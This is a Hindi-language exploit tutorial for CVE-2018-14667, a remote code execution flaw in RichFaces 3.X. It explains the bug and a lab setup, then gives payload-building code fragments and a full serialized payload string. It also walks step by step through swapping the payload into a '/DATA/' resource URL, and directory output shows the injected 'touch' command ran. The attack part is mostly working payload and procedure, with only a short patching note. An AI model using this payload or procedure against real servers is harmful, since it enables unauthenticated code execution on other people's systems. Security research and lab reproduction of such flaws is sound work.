
CVE-2018-14667 के बारे में सब कुछ; यह क्या है से लेकर इसे सफलतापूर्वक कैसे शोषण करें तक।
इस CVE को समझने और सही तरीके से exploit करने में काफी समय बिताने के बाद, मैंने RichFaces 3.X RCE बग पर एक रिपॉजिटरी बनाने और समुदाय के साथ HOWTOs को कदम दर कदम साझा करने का निर्णय लिया।
0x00 : RichFaces 3.X बग पर परिचय
सोमवार, 19 नवंबर को, Joao F M Figueiredo ने एक गंभीर उच्च-जोखिम वाली RichFaces कमजोरी पर एक विस्तृत लेख (https://seclists.org/fulldisclosure/2018/Nov/47) प्रकाशित किया।
CVSS3 Base Score 9.8
यह कमजोरी किसी भी अप्रमाणित उपयोगकर्ता को RichFaces 3.X (सभी संस्करण) का उपयोग करने वाले किसी भी वेब एप्लिकेशन पर रिमोट कोड निष्पादन करने की अनुमति देगी, जो कि सबसे खराब स्थिति है।
0x01 : क्या मैं प्रभावित हूं? ![]()
खैर, यदि आप RichFaces 3.X (RichFaces 3 का कोई भी संस्करण) चला रहे हैं और आप अपने स्रोत में निम्नलिखित कोड देखते हैं, तो संभावना है कि हां, आप CVE-2018-14667 पर रिमोट कोड निष्पादन के लिए कमजोर हो सकते हैं:
0x02 : बग का परीक्षण करने के लिए कमजोर वातावरण चलाना ![]()
मैं मूल रूप से वही दोहराऊंगा जो seclists.org के लेख में कमजोर वातावरण को तैनात करने के तरीके पर पहले ही कवर किया गया है।
0x03 : एक मान्य पेलोड उत्पन्न करना ![]()
अब मजेदार हिस्सा! यह वह जगह है जहां मुझे कठिनाइयों का सामना करना पड़ा, इसलिए मैं विस्तार से समझाऊंगा कि एक मान्य पेलोड कैसे उत्पन्न करें और उन्हीं गलतियों को दोहराए बिना जो मैंने कीं। मैं पहले पेलोड को संकलित करने के लिए Eclipse का उपयोग करने का सुझाव दूंगा।
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Eclipse में आपका आउटपुट परिणाम निम्नलिखित जैसा दिखना चाहिए:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : अपना पेलोड भेजना और रिमोट कोड निष्पादन प्राप्त करना ![]()
अपने ब्राउज़र में अपने स्थानीय JBoss सर्वर पर नेविगेट करें जो PhotoAlbum Web Application चला रहा है http://192.168.100.2:8080/photoalbum और पेज स्रोत देखने के लिए राइट-क्लिक करें। Ctrl+F दबाएं और '/DATA/' खोजें। आपको कुछ इस प्रकार मिलना चाहिए:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
आप स्पष्ट रूप से सीरियलाइज़्ड ऑब्जेक्ट देख सकते हैं। यह वह जगह है जहां हम सीरियलाइज़्ड ऑब्जेक्ट को अपने पेलोड से बदलकर रिमोट कोड निष्पादन प्राप्त करेंगे। अपने ब्राउज़र में, URL को http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE में बदलें। मेरे पेलोड ने निम्नलिखित कमांड निष्पादित किया था 'touch /tmp/PoorRichFaces'। देखते हैं कि मुझे सफलता मिली या नहीं:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
अच्छा लग रहा है, है ना? हमने अभी-अभी RichFaces 3.X चलाने वाले Java Web Application पर RCE प्राप्त किया।
0x05 : पैच कैसे करें ? ![]()
आपको यह तथ्य पसंद नहीं आ सकता है, इसलिए तैयार रहें और अपने कीबोर्ड को पकड़ें; RichFaces अपने उत्पाद के समर्थन के संबंध में जीवन के अंत तक पहुंच गया है, इसलिए उपयोगकर्ता (आप) को अपना स्वयं का पैच लागू करना चाहिए। घबराएं नहीं, यदि आप पैच करने का कोई तरीका नहीं ढूंढ पाते हैं, तो मुझसे संपर्क करने में संकोच न करें, हम एक व्यवस्था कर सकते हैं ताकि मैं आपके Java Web Applications को पैच कर सकूं।
E-mail: [email protected]